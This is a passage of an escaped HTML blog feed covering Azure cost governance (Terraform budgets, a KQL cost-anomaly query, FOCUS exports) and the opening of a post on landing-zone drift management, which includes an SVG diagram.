style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"tag-inheritance-via-modify-policy\"\u003eTag Inheritance via Modify Policy\u003c/h3\u003e\n\u003cp\u003eUse a \u003ccode\u003eModify\u003c/code\u003e policy to automatically copy tags from a Resource Group to its child resources. This requires granting the policy identity the \u003cstrong\u003eTag Contributor\u003c/strong\u003e role (\u003ccode\u003e4a9aeed2-a923-413d-95c2-739962ca585d\u003c/code\u003e) at the target scope.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"automated-budgeting-and-alerts\"\u003eAutomated Budgeting and Alerts\u003c/h2\u003e\n\u003cp\u003eEvery vended subscription should receive a default budget at creation. Configure the \u003cstrong\u003e80% Forecasted\u003c/strong\u003e alert as your primary operational trigger. Forecasted alerts fire when the projected month-end cost will exceed the threshold, giving you days to act rather than hours.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eTerraform: Monthly Budget\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azurerm_consumption_budget_subscription\u0026#34; \u0026#34;default\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name            \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;${var.subscription_name}-budget\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  subscription_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003esubscription_id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  amount          \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1000\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  time_grain      \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Monthly\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etime_period\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    start_date \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eformatdate\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;YYYY-MM-01\u0026#39;T\u0026#39;00:00:00Z\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003etimestamp\u003c/span\u003e())\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003enotification\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    threshold      \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e80\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    operator       \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;GreaterThan\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    threshold_type \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Forecasted\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    contact_emails \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eadmin_email\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cem\u003eNote: Cost Management data has an 8–24 hour lag. Alerts evaluate against the previous day\u0026rsquo;s billing data.\u003c/em\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"finops-automation-and-visibility\"\u003eFinOps Automation and Visibility\u003c/h2\u003e\n\u003ch3 id=\"cost-anomaly-detection-kql\"\u003eCost Anomaly Detection (KQL)\u003c/h3\u003e\n\u003cp\u003eIdentify Resource Groups with the largest day-over-day cost increase.\n\u003cem\u003eRequirement: Enable the Azure Cost Management connector for Log Analytics.\u003c/em\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-kusto\" data-lang=\"kusto\"\u003eUsageDetails\n| where TimeGenerated \u0026gt; ago(7d)\n| summarize DailyCost = sum(PreTaxCost) by bin(TimeGenerated, 1d), ResourceGroup\n| serialize\n| extend PrevDailyCost = prev(DailyCost)\n| extend CostChange = DailyCost - PrevDailyCost\n| where CostChange \u0026gt; 100 // Flag $100+/day increases\n| project Date = TimeGenerated, ResourceGroup, DeltaUSD = round(CostChange, 2)\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"focus-v13-exports\"\u003eFOCUS v1.3 Exports\u003c/h3\u003e\n\u003cp\u003eExport your cost data in the \u003cstrong\u003eFOCUS\u003c/strong\u003e (FinOps Open Cost \u0026amp; Usage Specification) format for normalized cloud reporting. These exports must be configured at the \u003cstrong\u003eBilling Account\u003c/strong\u003e scope.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz costmanagement export create \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --name \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;platform-focus-export\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --scope \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/providers/Microsoft.Billing/billingAccounts/12345\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --type FocusCost \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --dataset-configuration version\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;1.3\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --recurrence \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Daily\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eLimit Mandatory Tags\u003c/strong\u003e: Enforce no more than 3–5 tags. Tag fatigue leads to teams entering \u0026ldquo;junk\u0026rdquo; data to bypass the policy.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eForecast Over Actual\u003c/strong\u003e: Always prioritize forecasted alerts for operations. Actual alerts at 100% only tell you that the budget has already been spent.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGrant Reader Access\u003c/strong\u003e: Grant your finance team the \u003ccode\u003eCost Management Reader\u003c/code\u003e role at the management group scope. This allows full visibility without infrastructure permissions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://focus.finops.org/\"\u003eFinOps Open Cost \u0026amp; Usage Specification (FOCUS)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/governance/policy/samples/built-in-policies#tags\"\u003eAzure Policy Tag Samples\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/rest/api/consumption/budgets\"\u003eAzure Budget API Reference\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eNext, proceed to \u003ca href=\"../azure-landing-zone-ops/\"\u003ePost 10: Day-2 Operations\u003c/a\u003e. This final article covers maintaining and evolving your landing zone after initial deployment.\u003c/p\u003e\n","description":"Master Azure cost governance by automating tagging enforcement, budget alerts, and anomaly detection. Build a FinOps-ready landing zone using Terraform and Bicep.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-landing-zone-costs/","title":"Azure Cost Governance: Tagging, Budgets, and FinOps"},{"content":"\u003cp\u003eDeploying your landing zone was the easy part. Now you must operate it.\u003c/p\u003e\n\u003cp\u003eThe most common failure in platform engineering is treating the landing zone as a finished project rather than an ongoing product. Azure releases new services, requirements change, and teams drift from standards. Without an operational strategy that anticipates these pressures, your foundation becomes a collection of special cases and undocumented changes.\u003c/p\u003e\n\u003cp\u003eBy the end of this guide, you will:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAutomate drift detection with scheduled GitHub Actions.\u003c/li\u003e\n\u003cli\u003eRemediate non-compliance via Policy without manual intervention.\u003c/li\u003e\n\u003cli\u003eMigrate from legacy modules to Azure Verified Modules (AVM) safely.\u003c/li\u003e\n\u003cli\u003eImplement quarterly identity and networking reviews.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis is Post 10 in the \u003ca href=\"/series/azure-platform-engineering-build-an-enterprise-landing-zone-from-scratch/\"\u003eAzure Platform Engineering series\u003c/a\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"managing-configuration-drift\"\u003eManaging Configuration Drift\u003c/h2\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 424 505\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 8,0 L 408,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,48 L 296,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,80 L 200,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,80 L 296,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,128 L 296,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,144 L 408,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,160 L 200,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,160 L 296,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,208 L 296,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,240 L 136,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,240 L 264,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,240 L 296,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,320 L 168,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,320 L 328,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,352 L 120,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,352 L 168,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,352 L 264,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,352 L 328,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,400 L 328,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,432 L 264,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,432 L 328,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,464 L 264,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,464 L 408,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,480 L 408,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,0 L 8,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,320 L 72,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,48 L 104,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,128 L 104,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,208 L 104,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,352 L 120,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,240 L 136,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,288 L 136,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,320 L 168,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,80 L 200,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,160 L 200,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,320 L 200,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,400 L 200,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,240 L 264,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,288 L 264,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,352 L 264,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,432 L 264,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,48 L 296,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,128 L 296,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,208 L 296,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,320 L 328,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,400 L 328,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,0 L 408,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,144 L 408,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,464 L 408,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,304 L 136,312' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='152.000000,304.000000 140.000000,298.399994 140.000000,309.600006' fill='currentColor' transform='rotate(90.000000, 136.000000, 304.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,112 L 200,120' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,112.000000 204.000000,106.400002 204.000000,117.599998' fill='currentColor' transform='rotate(90.000000, 200.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,192 L 200,200' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,192.000000 204.000000,186.399994 204.000000,197.600006' fill='currentColor' transform='rotate(90.000000, 200.000000, 192.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 264,304 L 264,312' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='280.000000,304.000000 268.000000,298.399994 268.000000,309.600006' fill='currentColor' transform='rotate(90.000000, 264.000000, 304.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 264,384 L 264,392' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='280.000000,384.000000 268.000000,378.399994 268.000000,389.600006' fill='currentColor' transform='rotate(90.000000, 264.000000, 384.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='320.000000,144.000000 308.000000,138.399994 308.000000,149.600006' fill='currentColor' transform='rotate(180.000000, 312.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='88' y='340' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='340' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='276' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='340' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='340' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='340' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='340' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='228' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='148' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='340' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='420' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='148' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='420' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='340' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='420' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='340' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='420' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='228' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='420' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='228' fill='currentColor' style='font-size:1em'\u003e?\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='340' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='276' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='340' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='276' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='340' fill='currentColor' 